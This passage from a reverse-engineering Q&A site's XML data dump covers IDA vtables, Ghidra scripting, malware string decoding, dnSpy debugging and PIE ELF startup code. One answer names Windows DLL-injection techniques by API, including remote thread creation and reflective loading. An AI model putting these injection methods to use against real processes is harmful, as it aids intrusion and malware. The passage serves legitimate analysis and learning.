then you have a problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I attempted to save the modified file with this flag missing the ASM verifier threw an exception, giving the reason &lt;code&gt;INVOKEINTERFACE can't be used with classes&lt;/code&gt;. When you export a jar with Recaf all your modified files are pre-verified to ensure their bytecode is valid. I actually forgot to put the flag on myself until the verifier window popped up. If I disable the verification process and then export the jar then I get the same VerifyError you just gave.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to reiterate &lt;em&gt;this is very likely to have been user-error, but JBytemod didn't catch that&lt;/em&gt;. &lt;/p&gt;&#xA;" OwnerUserId="20336" LastEditorUserId="20336" LastEditDate="2019-04-22T08:20:56.313" LastActivityDate="2019-04-22T08:20:56.313" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21201" PostTypeId="1" CreationDate="2019-04-22T10:41:24.513" Score="0" ViewCount="2713" Body="&lt;p&gt;I'm trying to reverse a video game that was made with the CryEngine 5 game engine. CryEngine 5 source code is available on GitHub, so I can look at the CryEngine source code and cross reference with the game in IDA to find a lot of information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a snippet of code from the CryEngine source code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BwgNz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BwgNz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, there is a class called ISystem, and it has a virtual method GetIPhysicalWorld which is being called. I have found the same virtual function call in IDA within the specific game that I'm trying to reverse:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6WeKh.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6WeKh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: in IDA, how can I find the address of the virtual function that is being called (GetIPhysicalWorld)? Also, how can I find the vtable of the ISystem class in IDA?&lt;/p&gt;&#xA;" OwnerUserId="28222" LastEditorUserId="245" LastEditDate="2019-04-22T18:54:18.253" LastActivityDate="2019-09-19T20:01:00.120" Title="How can I follow virtual function calls in IDA?" Tags="|hexrays|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21202" PostTypeId="2" ParentId="21201" CreationDate="2019-04-22T13:42:42.850" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How can I find the address of the virtual function that is being&#xA;  called (GetIPhysicalWorld)?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I guess you want to do that statically? If so, you first need to identify how the object was allocated to find the call of the constructor. In this case, since there's a &lt;code&gt;g_&lt;/code&gt; prefix, I assume this is a global object. The constructor is called by &lt;code&gt;_initterm&lt;/code&gt; and `dynamic initializer for ...', you can find it using the xref. You should see something like this (it could be located inside a sub function):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea rcx, &amp;lt;vtable&amp;gt;&#xA;mov [obj], rcx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And a call to &lt;code&gt;atexit&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have the &lt;code&gt;vtable&lt;/code&gt;, simply do the math. :)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Also, how can I find the vtable of the ISystem class in IDA?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can try to use &lt;code&gt;class informer&lt;/code&gt; plugin. It'll give you the name of the class and its virtual methods. However, you won't have the name of methods since this information is lost during compilation(, unless you have symbols).&#xA;Since you have the source, you can also try to generate code signature (&lt;code&gt;FLIRT&lt;/code&gt; or &lt;code&gt;Rizzo&lt;/code&gt;) to retrieve the names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to rename the offset during the call, this is a different problem. You have to create a new structure. I don't think IDA support parsing of C++ class, you can either transform the C++ class to a C structure or script it.&lt;/p&gt;&#xA;" OwnerUserId="26176" LastActivityDate="2019-04-22T13:42:42.850" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21203" PostTypeId="2" ParentId="21198" CreationDate="2019-04-22T23:16:41.660" Score="2" Body="&lt;p&gt;From my limited cryptographical knowledge and a quick Google search to confirm it, no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would be a known-plaintext attack and AES is engineered to be resistant to it.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2019-04-22T23:16:41.660" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21204" PostTypeId="2" ParentId="21118" CreationDate="2019-04-23T09:41:50.170" Score="3" Body="&lt;p&gt;you are able to add your own enum type inside &lt;code&gt;Data Type Manager&lt;/code&gt;. (Keep in mind to select correct size).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/eZiOP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eZiOP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KwYGP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KwYGP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mL58A.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mL58A.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you should be able to change the type to your newly created enum and everything should be nicely resolved.&lt;/p&gt;&#xA;" OwnerUserId="21459" LastActivityDate="2019-04-23T09:41:50.170" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21205" PostTypeId="2" ParentId="21071" CreationDate="2019-04-24T07:56:55.100" Score="1" Body="&lt;p&gt;I asked the question on &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/issues/390&quot; rel=&quot;nofollow noreferrer&quot;&gt;github&lt;/a&gt; and got the following reply:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Assuming stack analysis has been performed and the function has been&#xA;  marked with stack references as shown above, you can iterate over the&#xA;  references &quot;from&quot; the body of the function (i.e., AddressSetView). The&#xA;  references returned would need to be filtered as other type of&#xA;  references would also be returned. Although there are a variety of&#xA;  ways to obtain references here is one example:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Function f;&#xA;Program p;&#xA;ReferenceManager refMgr = p.getReferenceManager();&#xA;    for (Address fromAddr : refMgr.getReferenceSourceIterator(f.getBody(), true)) {&#xA;        for (Reference ref : refMgr.getReferencesFrom(fromAddr)) {&#xA;            if (ref.isStackReference()) {&#xA;                StackReference stackRef = (StackReference) ref;&#xA;            }&#xA;        }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The important part is that your analysis must take place AFTER the stack analysis happened, which is quite late. You can control when your analysis runs in the constructor by passing the point where you want to run into the parent constructor.&lt;/p&gt;&#xA;" OwnerUserId="28073" LastActivityDate="2019-04-24T07:56:55.100" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21207" PostTypeId="1" AcceptedAnswerId="22487" CreationDate="2019-04-24T15:26:57.297" Score="9" ViewCount="13542" Body="&lt;p&gt;Is there a way to run ghidra from command line ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GUI interface is very heavy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i want is just to get functions list and decompile them in c.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="18590" LastActivityDate="2019-11-08T19:58:39.753" Title="Use ghidra decompiler with command line" Tags="|ghidra|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21208" PostTypeId="2" ParentId="16804" CreationDate="2019-04-24T20:20:39.797" Score="1" Body="&lt;p&gt;I don't see why not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, if I'm mapping a binary file into memory, I may configure its structure as such:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Visual Studio code&#xA;&#xA;#pragma pack(push,1)&#xA;struct STRUCT1{&#xA;    char dummy[0x1000 - 4];&#xA;    double fDouble;&#xA;};&#xA;#pragma pack(pop)&#xA;&#xA;struct STRUCT2{&#xA;    STRUCT1 __declspec(align(0x1000)) s1;&#xA;};&#xA;&#xA;&#xA;int main()&#xA;{&#xA;    STRUCT2 s2 = {0};&#xA;    s2.s1.fDouble = -123.124;&#xA;&#xA;    //This construct is just to give you the direct pointer&#xA;    double* pD = (double*)((BYTE*)&amp;amp;s2 + offsetof(STRUCT2, s1.fDouble));&#xA;    double fDVal = *pD;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then if we break with a debugger on the last line and check the value of &lt;code&gt;pD&lt;/code&gt; (that is in the &lt;code&gt;RAX&lt;/code&gt; register in this screenshot):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qEXr1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qEXr1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xGX6J.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xGX6J.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will see that the &lt;code&gt;double&lt;/code&gt; variable is straddling the page boundary (marked in red):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OF5zO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OF5zO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is far from ideal from the efficiency standpoint (due to those SSE2 instructions not &quot;liking&quot; being unaligned) but it is quite possible.&lt;/p&gt;&#xA;" OwnerUserId="14864" LastEditorUserId="14864" LastEditDate="2019-04-25T01:45:22.783" LastActivityDate="2019-04-25T01:45:22.783" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21209" PostTypeId="1" CreationDate="2019-04-24T22:55:43.647" Score="0" ViewCount="129" Body="&lt;p&gt;I watched a video (I believe it was a talk by the author of radare2) of how to increment machine code in radare2 very easily, simply by hitting 'c' and then using + and - to respectively increment and decrement machine code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, now, when I hit v and then p to get to the visual mode where I can see disassembled code, I hit c, I can move the cursor around, but I can't increment and decrement machine code any longer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I remembering this incorrectly? Clearly I need to take better notes, because I find it hard to find this information in the myriad of online &quot;cheat sheets&quot; and tutorials that always seem to talk about something else than what I'm really after.&lt;/p&gt;&#xA;" OwnerUserId="25560" LastActivityDate="2019-04-24T22:57:23.307" Title="How to increment and decrement machine code in radare2?" Tags="|radare2|machine-code|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21210" PostTypeId="2" ParentId="21209" CreationDate="2019-04-24T22:57:23.307" Score="1" Body="&lt;p&gt;The answer is: Remember to execute with -w. (sigh)&lt;/p&gt;&#xA;" OwnerUserId="25560" LastActivityDate="2019-04-24T22:57:23.307" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21212" PostTypeId="2" ParentId="19053" CreationDate="2019-04-25T09:42:39.933" Score="2" Body="&lt;p&gt;I my case I resolved the issue by removing file attribute &quot;archive&quot;. I was faced with this using common Drobpox folder for IDA on Windows host and IDA on Wine environment.    &lt;/p&gt;&#xA;" OwnerUserId="24877" LastActivityDate="2019-04-25T09:42:39.933" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21213" PostTypeId="2" ParentId="21175" CreationDate="2019-04-25T11:40:41.127" Score="0" Body="&lt;p&gt;Seems to be an encrypted file, probably made with bootloader of device (the camera), would need to get access to bootloader for trying reverse it and get the software algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The firmware package has some known headers, like the total lenght of the file in Little Endian (0x03B0xxxx) needed for deflate process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So probably the Panasonic Brand would apply software protection for their firmwares, would be easy to get all code (boot + firm + data) from nor or nand flash from device by desoldering and reading bga IC but I doubt they would use cryptoprocessor..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GkbVO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GkbVO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3253" LastActivityDate="2019-04-25T11:40:41.127" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21215" PostTypeId="1" AcceptedAnswerId="21244" CreationDate="2019-04-25T12:26:51.263" Score="2" ViewCount="3115" Body="&lt;p&gt;I have a dotnet malware sample that I'm trying to debug with &lt;code&gt;dnSpy&lt;/code&gt;. It has string obfuscation (contains function names such as &lt;code&gt;BarriersBottomed&lt;/code&gt;, etc.) I cleaned the sample using &lt;code&gt;de4dot&lt;/code&gt; and renamed functions to make them more understandable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I placed a breakpoint on &lt;code&gt;Main&lt;/code&gt; and also specified in the debug settings to break at &lt;code&gt;Entry Point&lt;/code&gt;, but the program never hits the breakpoint. When I click on &lt;code&gt;Start&lt;/code&gt;, it runs for a few seconds and then I get a &lt;code&gt;dnSpy&lt;/code&gt; error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;An unhandled exception occurred in kahjvb-cleaned.exe (2160)&#xA;Exception: ???&#xA;Message: &quot;&amp;lt;no exception message&amp;gt;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, in the &lt;code&gt;Debug&lt;/code&gt; options I checked the &lt;code&gt;Ignore unhandled exceptions&lt;/code&gt; and restarted debugging with the same options as before. Now, the debugger just runs for a few seconds and the debugging process completes. It still doesn't hit the breakpoint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone faced an issue of this type before or has any insights into this problem? Thanks for the help!&lt;/p&gt;&#xA;" OwnerUserId="26664" LastActivityDate="2019-04-30T01:06:51.413" Title="Difficulty in debugging with dnSpy" Tags="|malware|dynamic-analysis|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21217" PostTypeId="1" CreationDate="2019-04-25T22:34:55.247" Score="1" ViewCount="54" Body="&lt;p&gt;I am writing a .NET software which is doing calculations and drawing in real-time i.e when the user is moving the mouse. I want to protect this software from being reverse engineered and restrict its execution to only a specific computer based on Hardware ID. What .NET software protector would be a good choice for this scenario ? I came after Themida and VMProtector which I found to be promising. What is your opinion about the security options that these software offer with respect to the impact they have on the executable's run-time performance? Do you know any other available tool suitable for the case I am describing ?&lt;/p&gt;&#xA;" OwnerUserId="28252" LastActivityDate="2019-04-25T22:34:55.247" Title="How to choose a .NET software protector which will have a small impact on run-time performance speed?" Tags="|obfuscation|.net|protection|vmprotect|" AnswerCount="0" CommentCount="0" ClosedDate="2019-05-11T22:13:19.150" ContentLicense="CC BY-SA 4.0" />
  <row Id="21218" PostTypeId="1" AcceptedAnswerId="21223" CreationDate="2019-04-26T08:00:41.550" Score="0" ViewCount="763" Body="&lt;p&gt;I'm trying to analyze some malware. To get the hang of it I am following the decoding process on &lt;a href=&quot;https://www.proofpoint.com/us/threat-insight/post/In-The-Shadows&quot; rel=&quot;nofollow noreferrer&quot;&gt;this website&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a description of the string encoding/decoding process:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;String encoding utilizes LCG fed by the new PRNG&#xA;  algorithm, while the generated keys are then subtracted from each&#xA;  ciphertext byte to generate the plaintext string. The first DWORD in&#xA;  the encoded string is used as the seed, while that same value is&#xA;  XOR’ed against the second DWORD to calculate the size of the encoded&#xA;  string. The encoded string begins at the position after the second&#xA;  DWORD. Most suspicious strings in the unpacked DLL are encoded&#xA;  using this method.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here is the python PRNG method provided by the article that I am using:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;def prng(seed):&#xA;               return ((seed * 0x41C64E6D) + 0x3039 ) &amp;amp; 0xFFFFFFFF&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then you are supposed to decrypt some encrypted traffic using a PHPSESSID cookie encoded with this scheme:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jM96L.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jM96L.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am only trying to turn the encoded cookie into the decoded cookie. However, I cannot replicate the results on my own. &#xA;My first problem is that I cannot seem to find the initial correct seed. I know it is supposed to be the first dword, but is it the dword of the cookie as it is (5C8EC19e) or, since this cookie is in ASCII, is the dword referring to the hex value of &quot;5C8E&quot;(35433845)? I have tried both ways, using the given algorithm, and cannot match the decoded string. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also confused because it seems like I can get pretty close to the decoded value by not using dwords at all. If I xor the first (5C) and second(8E) bytes of the encrypted cookie, I get D2, which is the appropriate number in the decoded cookie. If I continue xor-ing 5C with the next two numbers, C1 and 9E, I get 9D and C2, which are one off from the actual decoded values. Is this just a coincidence?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TL;DR:&#xA;The PRNG algorithm is provided as the appropriate decryption function by the article I am following. The body of the HTTP message is encrypted using an RC4 key. The RC4 key is encoded within the PHPSESSID cookie. I believe, based on what I read in the article, that the RC4 key is decrypted from the PHPSESSID cookie using this PRNG function. It may be that the PRNG function is not the correct function for this - I can't get it to work. I just want to know how the encoded PHPSESSID is becoming the decoded PHPSESSID&lt;/p&gt;&#xA;" OwnerUserId="27554" LastEditorUserId="27554" LastEditDate="2019-04-26T09:51:28.947" LastActivityDate="2019-04-26T13:47:30.733" Title="Difficulty decrypting LCG string" Tags="|decryption|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21219" PostTypeId="1" AcceptedAnswerId="21222" CreationDate="2019-04-26T08:08:03.497" Score="1" ViewCount="3023" Body="&lt;p&gt;So let's say the ELF binary is stripped - meaning no symbol table - and the &lt;code&gt;_start&lt;/code&gt; function doesn't push the address of main before calling &lt;code&gt;__libc_start_main&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This happened in a binary when compiled for both 32-bit and 64-bit architectures, not sure why sometimes &lt;code&gt;_start&lt;/code&gt; doesn't push the absolute value and instead pushes a register value (if anyone knows please let me know).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way in this situation that I can generate the call-graph (without names) of the binary starting from main? Is there any way I can find the address of &lt;code&gt;main&lt;/code&gt;? because right now it pushes a register value on the stack and the absolute address of &lt;code&gt;main&lt;/code&gt; doesn't appear in any instruction! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've added the a sample of the startup routine for a 32 bit version of a simple C program, compiled with gcc  with &lt;code&gt;-m32&lt;/code&gt;  (the 64 bit version is kinda the same in this section, no absolute address).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure why some of my 32 bit programs push the absolute address of main before calling &lt;code&gt;__libc_main_start&lt;/code&gt; and some don`t. Please let me know if you know the answer.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00001070 &amp;lt;_start&amp;gt;:&#xA;    1070:       31 ed                   xor    ebp,ebp&#xA;    1072:       5e                      pop    esi&#xA;    1073:       89 e1                   mov    ecx,esp&#xA;    1075:       83 e4 f0                and    esp,0xfffffff0&#xA;    1078:       50                      push   eax&#xA;    1079:       54                      push   esp&#xA;    107a:       52                      push   edx&#xA;    107b:       e8 22 00 00 00          call   10a2 &amp;lt;_start+0x32&amp;gt;&#xA;    1080:       81 c3 80 2f 00 00       add    ebx,0x2f80&#xA;    1086:       8d 83 50 d4 ff ff       lea    eax,[ebx-0x2bb0]&#xA;    108c:       50                      push   eax&#xA;    108d:       8d 83 f0 d3 ff ff       lea    eax,[ebx-0x2c10]&#xA;    1093:       50                      push   eax&#xA;    1094:       51                      push   ecx&#xA;    1095:       56                      push   esi&#xA;    1096:       ff b3 f8 ff ff ff       push   DWORD PTR [ebx-0x8]&#xA;    109c:       e8 9f ff ff ff          call   1040 &amp;lt;__libc_start_main@plt&amp;gt;&#xA;    10a1:       f4                      hlt&#xA;    10a2:       8b 1c 24                mov    ebx,DWORD PTR [esp]&#xA;    10a5:       c3                      ret&#xA;    10a6:       66 90                   xchg   ax,ax&#xA;    10a8:       66 90                   xchg   ax,ax&#xA;    10aa:       66 90                   xchg   ax,ax&#xA;    10ac:       66 90                   xchg   ax,ax&#xA;    10ae:       66 90                   xchg   ax,ax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28173" LastEditorUserId="18317" LastEditDate="2019-04-26T11:50:06.477" LastActivityDate="2019-04-26T14:46:10.200" Title="How to find the starting address of main function when the binary is stripped and _start doesn't push the absolute address value of main?" Tags="|binary-analysis|x86|elf|static-analysis|binary|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21220" PostTypeId="2" ParentId="21179" CreationDate="2019-04-26T08:54:52.247" Score="1" Body="&lt;p&gt;K, I'll take a stab at an answer. If you create a DLL that gets loaded by a process, of which there are numerous different methods, you can execute your code in the context of the remote process, not strictly what the question is about, but some groundwork. The common techniques are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Calling VirtualAllocEx, WriteProcessMemory and CreateRemoteThread. Writing the name into the remote process and creating a thread on LoadLibrary.&lt;/li&gt;&#xA;&lt;li&gt;Calling VirtualAllocEx, WriteProcessMemory and CreateRemoteThread. Writing a reflective DLL into the process, and executing the loader.&lt;/li&gt;&#xA;&lt;li&gt;Calling NtCreateSection, NtMapViewOfSection, and CreateRemoteThread. Writing a reflective DLL into the section which is mapped to both processes.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So now that we have code running in the remote process. We can do anything we want in that process ONLY, with some caveats: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If you want to call a DLL function in another DLL, in the context of the process you are injected into, you can walk the export table for that DLL to find the exported function. The base address for the DLL can be found by walking the PEB.&lt;/li&gt;&#xA;&lt;li&gt;If you want to call a function in the specific exe, the problem is actually finding the address. With ASLR enabled, this address will change on each boot, meaning it can't just be hardcoded. If the process is static and won't change with updates etc, you can look up the base address for the process and work from that index. If version changes can change the code, all bets are off. There is no way to ensure the function will be present in future versions, or even that the parameters will remain the same. You could always do something similar to what IDA does with FLIRT, which identifies functions even if they have small modifications, but I wouldn't rely on it.&lt;/li&gt;&#xA;&lt;li&gt;If you want to communicate with another process from within the injected one, you have to use some form of IPC as noted by Julian.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So, yes, it's possible to interact with code in another process. Depending on the scenario it might not be reliable, and likely won't be portable across versions.&lt;/p&gt;&#xA;" OwnerUserId="12794" LastActivityDate="2019-04-26T08:54:52.247" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21222" PostTypeId="2" ParentId="21219" CreationDate="2019-04-26T13:22:19.110" Score="3" Body="&lt;p&gt;The binary appears to be a &lt;em&gt;position-independent executable&lt;/em&gt; (PIE). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means absolute addresses cannot be pushed onto the stack: the purpose of position independent code is for code to be loaded to a random location in virtual memory upon process creation via &lt;em&gt;address space layout randomization&lt;/em&gt; (ASLR) (implemented by the kernel), so no absolute addresses can be known prior to runtime. Instead, &lt;em&gt;program counter-relative&lt;/em&gt; addressing is used, in which relocations are calculated in reference to the CPU instruction pointer.&lt;sup&gt;1&lt;/sup&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;the absolute address of &lt;code&gt;main&lt;/code&gt; can be found at runtime&lt;/li&gt;&#xA;&lt;li&gt;the absolute address of &lt;code&gt;main&lt;/code&gt; will be different every time the program is executed&lt;/li&gt;&#xA;&lt;li&gt;A call graph can be generated statically if the binary is unstripped, and a CFG can be generated whether a binary is stripped or not.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I was able to produce similar code when I compiled a C program with GCC using the &lt;code&gt;-pie&lt;/code&gt; and &lt;code&gt;fPIE&lt;/code&gt; options. Full command:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;gcc -m32 -pie -fPIE [source_file] -o [output_file_name]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The offsets of the instructions in the provided assembly snippet are a big clue to what is going on here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a vanilla x86 ELF32 binary, the offset of the program initialization code (the first instruction of which is pointed to by the value in the &lt;code&gt;e_entry&lt;/code&gt; field in the ELF header, aka the &lt;em&gt;program entry point&lt;/em&gt;) will not be far from the canonical entry point of &lt;code&gt;0x8048000&lt;/code&gt;. Here is a sample, which we can use as a baseline for comparison:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;080482f0 &amp;lt;_start&amp;gt;:&#xA; 80482f0:       31 ed                   xor    ebp,ebp&#xA; 80482f2:       5e                      pop    esi&#xA; 80482f3:       89 e1                   mov    ecx,esp&#xA; 80482f5:       83 e4 f0                and    esp,0xfffffff0&#xA; 80482f8:       50                      push   eax&#xA; 80482f9:       54                      push   esp&#xA; 80482fa:       52                      push   edx&#xA; 80482fb:       68 70 84 04 08          push   0x8048470&#xA; 8048300:       68 00 84 04 08          push   0x8048400&#xA; 8048305:       51                      push   ecx&#xA; 8048306:       56                      push   esi&#xA; 8048307:       68 ed 83 04 08          push   0x80483ed&#xA; 804830c:       e8 cf ff ff ff          call   80482e0 &amp;lt;__libc_start_main@plt&amp;gt;&#xA; 8048311:       f4                      hlt    &#xA; 8048312:       66 90                   xchg   ax,ax&#xA; 8048314:       66 90                   xchg   ax,ax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now let us compare these instruction offsets with the offsets in the position-independent code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000530 &amp;lt;_start&amp;gt;:&#xA; 530:   31 ed                   xor    ebp,ebp&#xA; 532:   5e                      pop    esi&#xA; 533:   89 e1                   mov    ecx,esp&#xA; 535:   83 e4 f0                and    esp,0xfffffff0&#xA; 538:   50                      push   eax&#xA; 539:   54                      push   esp&#xA; 53a:   52                      push   edx&#xA; 53b:   e8 22 00 00 00          call   562 &amp;lt;_start+0x32&amp;gt;       &amp;lt;------------&#xA; 540:   81 c3 c0 1a 00 00       add    ebx,0x1ac0&#xA; 546:   8d 83 80 e7 ff ff       lea    eax,[ebx-0x1880]        &amp;lt;------------&#xA; 54c:   50                      push   eax&#xA; 54d:   8d 83 10 e7 ff ff       lea    eax,[ebx-0x18f0]        &amp;lt;------------&#xA; 553:   50                      push   eax&#xA; 554:   51                      push   ecx&#xA; 555:   56                      push   esi&#xA; 556:   ff b3 f4 ff ff ff       push   DWORD PTR [ebx-0xc]     &amp;lt;------------&#xA; 55c:   e8 bf ff ff ff          call   520 &amp;lt;__libc_start_main@plt&amp;gt;&#xA; 561:   f4                      hlt    &#xA; 562:   8b 1c 24                mov    ebx,DWORD PTR [esp]     &amp;lt;------------&#xA; 565:   c3                      ret    &#xA; 566:   66 90                   xchg   ax,ax&#xA; 568:   66 90                   xchg   ax,ax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here we notice that the offsets here are completely different from those in the non-PIE ELF binary. Additionally, the arrows highlight similarities with the code snippet in the question that are particularly relevant in this context. Just like the code sample provided in the question, the code here is entirely devoid of absolute addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;hr&gt;&#xA;References:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a 